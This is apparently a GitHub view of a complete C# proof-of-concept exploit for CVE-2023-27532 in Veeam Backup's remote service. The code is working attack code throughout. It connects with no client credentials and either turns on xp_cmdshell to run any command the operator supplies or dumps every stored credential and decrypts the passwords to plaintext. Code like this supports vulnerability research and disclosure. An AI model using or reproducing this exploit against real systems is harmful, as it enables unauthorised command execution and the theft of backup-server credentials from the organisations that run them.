-
Notifications
You must be signed in to change notification settings - Fork 23
Expand file tree
/
Copy pathProgram.cs
More file actions
149 lines (115 loc) · 6.1 KB
/
Program.cs
File metadata and controls
149 lines (115 loc) · 6.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
// Proof of Concept code to exploit CVE-2023-27532 and either leak plaintext credentials or perform remote command execution.
// For a detailed analysis of the vulnerability and exploitation please read the Rapid7 AttackerKB Analysis: https://attackerkb.com/topics/ALUsuJioE5/cve-2023-27532/rapid7-analysis
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Cryptography;
using System.ServiceModel;
using System.ServiceModel.Security;
using System.Text;
using Veeam.Backup.Core;
using Veeam.Backup.Interaction.MountService;
using Veeam.Backup.Model;
namespace VeeamHax
{
internal class Program
{
static void Main(string[] args)
{
string host = "127.0.0.1";
int port = 9401;
bool verbose = false;
string cmd = null;
for (int i = 0; i < args.Length; i++)
{
if (args[i] == "--target" && i + 1 < args.Length)
host = args[i + 1];
else if (args[i] == "--port" && i + 1 < args.Length)
port = Int32.Parse(args[i + 1]);
else if (args[i] == "--verbose")
verbose = true;
else if (args[i] == "--cmd" && i + 1 < args.Length)
cmd = args[i + 1];
else if (args[i] == "--help" || args[i] == "-h" || args[i] == "/?")
{
Console.WriteLine("Usage: VeeamHax.exe [--verbose] --target 192.168.0.1 --port 9401 [--cmd \"c:\\windows\\notepad.exe\"]");
return;
}
}
Console.WriteLine("Targeting {0}:{1}", host, port);
NetTcpBinding binding = new NetTcpBinding();
NetTcpSecurity netTcpSecurity = new NetTcpSecurity();
netTcpSecurity.Mode = SecurityMode.Transport;
TcpTransportSecurity tcpTransportSecurity = new TcpTransportSecurity();
tcpTransportSecurity.ClientCredentialType = TcpClientCredentialType.None;
netTcpSecurity.Transport = tcpTransportSecurity;
binding.Security = netTcpSecurity;
binding.Name = "foo";
Uri uri = new Uri(String.Format("net.tcp://{0}:{1}/", host, port));
EndpointAddress endpoint = new EndpointAddress(uri, EndpointIdentity.CreateDnsIdentity("Veeam Backup Server Certificate"));
ChannelFactory<IRemoteInvokeService> channelFactory = new ChannelFactory<IRemoteInvokeService>(binding, endpoint);
X509ServiceCertificateAuthentication x509ServiceCertificateAuthentication = new X509ServiceCertificateAuthentication();
x509ServiceCertificateAuthentication.CertificateValidationMode = X509CertificateValidationMode.None;
channelFactory.Credentials.ServiceCertificate.SslCertificateAuthentication = x509ServiceCertificateAuthentication;
IRemoteInvokeService channel = channelFactory.CreateChannel(endpoint);
if (cmd != null)
{
// CommandType 1 == Text
string spec = String.Format(
"""
<RemoteInvokeSpec ContextSessionId="{0}">
<DbGetDataTableRemoteInvokeSpec>
<SqlCommand>EXEC sp_configure 'show advanced options', 1; EXEC sp_configure reconfigure; EXEC sp_configure 'xp_cmdshell', 1; EXEC sp_configure reconfigure; EXEC xp_cmdshell '{1}';</SqlCommand>
<CommandType>1</CommandType>
</DbGetDataTableRemoteInvokeSpec>
</RemoteInvokeSpec>
""",
Guid.NewGuid().ToString(),
cmd
);
channel.GetDataTable(ERemoteInvokeScope.DatabaseAccessor, ERemoteInvokeMethod.GetDataTable, spec);
}
else
{
MemoryStream stream = new MemoryStream();
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(stream, true);
string includeHidden = Convert.ToBase64String(stream.ToArray());
string parameters = String.Format(
"""
<RemoteInvokeSpec ContextSessionId="{0}" Scope="Service" Method="CredentialsDbScopeGetAllCreds">
<Params>
<Param ParamName="includeHidden" ParamValue="{1}" ParamType="System.String"></Param>
</Params>
</RemoteInvokeSpec>
""",
Guid.NewGuid().ToString(),
includeHidden
);
string xml_result = channel.Invoke(ERemoteInvokeScope.DatabaseManager, ERemoteInvokeMethod.CredentialsDbScopeGetAllCreds, parameters);
if (verbose)
{
Console.WriteLine("Dumping raw response:");
Console.WriteLine(xml_result);
Console.WriteLine("");
}
CCommonInvokeRetVal allCreds2 = CCommonInvokeRetVal.Deserialize(xml_result);
string retVal = allCreds2.GetParamAsString("retVal");
List<CDbCredentialsInfo> result = CProxyBinaryFormatter.Deserialize<List<CDbCredentialsInfo>>(retVal);
foreach (CDbCredentialsInfo info in result)
{
byte[] password_raw;
// password is now 'encrypted' using Crypt32!CryptProtectData from our local machine, which occurred during deserialization above.
// so we can unprotect it here to get back the plaintext.
if (info.Credentials.IsLocalProtect)
password_raw = ProtectedData.Unprotect(Convert.FromBase64String(info.Credentials.EncryptedPassword.Value), (byte[])null, (DataProtectionScope)1);
else
password_raw = ProtectedData.Unprotect(Convert.FromBase64String(info.Credentials.EncryptedPassword.Value), (byte[])null, (DataProtectionScope)0);
string password = Encoding.UTF8.GetString(password_raw);
Console.WriteLine("User: {0}\nID: {1}\nPassword: {2}\n", info.Credentials.Name, info.Id, password);
}
}
}
}
}